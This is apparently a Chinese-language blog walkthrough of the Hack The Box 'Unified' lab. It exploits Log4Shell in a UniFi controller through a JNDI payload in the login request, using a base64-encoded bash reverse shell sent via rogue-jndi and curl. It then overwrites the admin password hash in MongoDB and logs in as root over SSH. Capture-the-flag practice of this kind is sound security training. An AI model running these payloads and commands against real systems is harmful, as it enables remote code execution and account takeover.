HTB-Unified靶场练习

发布时间 2023-09-22 13:32:17作者: Wav3W1nd50r

靶机地址:10.129.96.149

攻击机地址:10.10.14.121

端口扫描

nmap -sC -A 10.129.96.149

发现四个端口: 22、6789、8080、8443

访问10.129.96.149:8080,页面跳转到

https:// 10.129.96.149:8443/manage/account/login?redirect=%2Fmanage

使用万能密码admin’ or 1=1 # 和一些弱密码进行尝试性的登录,但都失败了

观察到网页的版本为unifi 6.4.54,通过搜索引擎来寻找该项目存在的历史漏洞

注意到cve-2021-44228,再查找一些该漏洞的利用方法

访问页面,F12进入控制台,点击network,输入帐号密码,点击登录,查看发送的数据,其中有一个状态为400的登录包

点击编辑且重发

将remember字段的值换成${jndi:ldap://攻击机ip/whatever}

发送后返回信息api.err.InvalidPayload

LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议,是一个为查询、浏览和搜索而优化的数据库,具有树状结构,像文件目录一样,用于查询,具有优异的读性能。

JNDI(Java Naming and Directory Interface):Java命名和目录接口(命名服务接口)

命名服务:用于根据名字找到位置、服务、信息、资源、对象等信息

基本操作:

1、发布服务(名字和资源的映射)

2、用名字查找资源

JDBC连接数据库需要提供驱动、数据库名、帐号、密码、ip、端口等信息,但JNDI连接数据库只需要提供名字,其他信息已经被封装在配置中,JNDI出现简化了访问资源

 

使用工具tcpdump对389端口进行抓包

tcpdump -i tun0 -p 389

-i 监听网卡,-p指定端口

回到浏览器重发请求,如果存在log4j漏洞,389端口会收到请求

由此得出该机器存在log4j漏洞

攻击原理:https://blog.csdn.net/hilaryfrank/article/details/121939902

漏洞利用

工具:rogue-jndi开源工具,开启本地LDAP服务,允许我们连接存在漏洞的服务器中并执行恶意代码

前提安装好java环境和maven环境

下载工具包rogue-jndi

进行编译操作mvn package

出现build success,即编译成功

在该目录下会生成target文件夹,target文件夹中存在RogueJndi-1.1.jar,拥有该jar包后可以构建payload

为了防止反向shell在传输过程中存在编码问题,需要对其进行base64编码

(Cg==为换行符,不是加密内容的部分)

构建代码,一旦存在漏洞的机器,连接本机,就会执行攻击代码

java -jar RogueJndi-1.1.jar --command "bash -c {echo,L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEyMS84ODg4IDA+JjEn}|{base64,-d}|{bash,-i}" --hostname "10.10.14.121"

开启nc监听8888端口

为了方便起见,使用命令行(curl)来执行请求

curl 'https://10.129.96.149:8443/api/login' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate, br' -H 'Referer: https://10.129.96.149:8443/manage/account/login?redirect=%2Fmanage' -H 'Origin: https://10.129.96.149:8443' -H 'Connection: keep-alive' -H 'Sec-Fetch-Dest: empty' -H 'Sec-Fetch-Mode: no-cors' -H 'Sec-Fetch-Site: same-origin' -H 'Content-Type: application/json; charset=utf-8' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' --data-raw '{"username":"admin","password":"aaaaaaaa","remember":"${jndi:ldap://10.10.14.121:1389/o=tomcat}","strict":true}' -k

收到LDAP请求

8888端口收到反向shell

因为该网站的数据库为mongodb

所以先查找数据库相关信息

ps aux | grep mongo

可以看到mongodb允许在27117端口

通过google搜索unifi默认数据库

默认数据库名字为ace

来查找数据库中的用户

mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

获得高权限用户的信息

使用工具hashid来分析x_shadow

该密码用sha-512加密

使用工具mkpasswd来加密自己的密码,为之后替换掉原来的密码

$6$vBX6aAwptz/U.iZs$zNUU2gw60TQpzEJuWen8wXxiKsPzKjLCE5U0rwbletqPgKVyi47xne/NOIgK2tRLLu6uWZDpEABMZbaPQ6AfD0

替换目标机器的administrator密码

mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$Bo4PiYCabaCOoNHJ$/GFpReqn.xGANGT5MQZOCj3PpXsdV28vsaD/45XcZ8WPSsNqHbqFRuWLsLp7qVwv73HAa3Sll4cSWjttxcX8y."}})'

进入/home/machael,得到user.txt

更改完的密码后,访问10.129.96.149:8080,使用帐号administrator,密码123456进行登录

成功登录

点击设置=>site=>发现root和密码

因为该机器开放22端口允许ssh认证,所以使用ssh进行连接

连接成功,读取家目录下的root.txt得到flag